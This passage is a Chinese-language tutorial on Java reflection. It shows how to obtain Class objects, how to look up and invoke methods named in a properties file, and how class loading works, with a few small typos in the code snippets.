3.对象.getClass()获取实例化对象对应类的Class对象#Runtime运行阶段

Student s = new Student();

Class c2 = s.getclass();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException{
// 类的.class属性
Class c1 = GetClassName.class;
System.out.println(c1.getName());

// 实例化对象的getClass()方法
GetClassName demo = new GetClassName();
Class c2 = demo.getClass();
System.out.println(c2.getName());

// Class.forName(String className): 动态加载类
Class c3 = Class.forName("com.GetClassName");
System.out.println(c3.getName());

}
}

结果:
com.GetClassName
com.GetClassName
com.GetClassName

以上三种获取Class类方法中,使用类.class属性会需要我们导入类的包,依懒性较强;如果是使用实例化对象的getClass()方法,需要我们本身创建一个对象,不太方便反而偏离了反射机制,所以一般使用Class.forName方法,此方法不用导入其他类,能加载任意类
获取成员方法Method

Method getMethod(String name, 类<?>… parameterTypes) //返回该类所声明的public方法

Method getDeclaredMethod(String name, 类<?>… parameterTypes) //返回该类所声明的所有方法

//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法

Method[] getDeclaredMethods() // 获取该类中的所有方法

以上是对反射的一些用途简述,但反射是比较抽象,也是看了很多教程才逐渐有个雏形,技术通常是因为需求才诞生的,所以提出一个需求来引出反射。

假如说有一个配置文件re.properties,内容为

1
2
3
classfullpath=com.reflection.Cat

method=hi

根据配置文件的信息来创建对象并调用其方法
创建对象的话,常见的方法应该是建一个类然后New一个对象或者Clone一个 ,按照思路走一下,新建一个包(自定义),并创建RefletionDemo.java文件和Cat.java

1
2
3
4
5
6
7
8
9
 #Cat.java

public class Cat {
private String name = "1";
public void hi(){
System.out.println("hi"+name);
}

}

传统创建对象的方式:

1
2
3
Cat cat = new Cat();
cat.hi();
#先new一个对象,再调用方法

这里传统方法不适用于我们的需求,可以考虑文件流读取?

1
2
3
4
5
6
7
Properties properties = new Properties();
properties.load(new FileInputStream("src\\com.itheima\\variable\\re.properties"));
String classfullpath = properties.get("classfullpath").toString();
String methodName = properties.get("method").toString();
System.out.println("classfullpath="+classfullpath);
System.out.println("method="+methodName);
#使用Properties类可以读写配置文件

以上代码获取了配置文件里类的全路径和方法名并输出,输出的结果和配置文件完全一致
然后

1
new classfullpath()?

这是错误的,因为new后面接类名,但是classfullpath是字符串类型,是很明显不行的
直接new.类的全路径是的可以,但直接new.classfullpath()是不行的,因为这里是字符串,所以传统的方法是不行的(这里的需求可以提炼为通过外部文件配置,在不修改源码的情况下控制程序)所以这里引出了反射

1
2
3
4
5
6
7
8
9
10
11
12
#加载类,返回一个Class类型的对象cls,Class是一个Class类型的类
Class cls = Class.forName(classfullpath);
#通过cls得到加载的类的对象实例
Object o = cls.newInstance();
#输出o的运行类型,很明显是Cat
System.out.println(o.getClass());
#通过cls得到加载的类Cat的method“hi”方法对象
#即在反射中,可以把方法视为对象(万物皆对象)
Method method1 = cls.getMethod(methodName);
#通过method1调用方法,即通过方法对象来调用方法
method1.invoke(o);
#传统方式是对象.方法(),反射机制是方法.invoke(对象)

这里如果在Cat.java里增加新方法

1
2
3
4
5
6
7
8
9
10
11
12
 #Cat.java

public class Cat {
private String name = "1";
public void hi(){
System.out.println("hi"+name);
}

public void cry(){
System.out.println("miaomiaomiao");
}
}

如果按照传统方法,只能修改源码将cat.hi()改为cat.cry()
如果按照反射,直接在配置文件里把method的值改为cry就行了

反射机制

  1. 反射允许程序在执行期借助于Refletion这个API取得任何类的内部信息,并能操作对象的属性以及方法
  2. 加载完类之后,在堆中产生了一个Class类型的对象(一个类只有一个Class对象),这个对象包含了类的完整结构信息,通过这个对象得到类的结构
    这里对于Class类再举个小例子,Class也是类,没有区别
1
2
p对象 -》类型 person类
cls对象 -》 类型Class类(可以理解为RefletionClass类)

反射的底层原理:
Java程序在计算机有三个阶段,编译阶段.类加载阶段.Runtime阶段

1
2
3
4
5
 public class Cat {
private String name
public void hi(){
}
}

编译阶段中,源码里会有成员变量.成员方法.构造器等元素,经过javac编译后生成Cat.class字节码文件,源码里拥有的元素,字节码文件中也会有
在Runtime运行阶段中如果进行创建对象即

1
2
Cat cat = new Cat();
cat.hi();

会导致类加载,致使Cat.class字节码文件加载到内存里堆去,进入Class类加载阶段,生成一个Class类对象,其含有字节码里所有元素,在从字节码文件得到Class类对象的过程中有一个类加载器ClassLoader作用,在这里就体现了反射机制,在Class类对象中,会把元素比如成员变量当做对象映射为Field[] Field,构造器和成员方法等同理
类加载后就生成了Cat对象,该对象知道他是属于哪个Class对象,其间有一个映射关系,所以我们可以通过这个对象获得所关联的Class对象。当得到Class对象后就能够创建对象,调用对象方法,操作属性等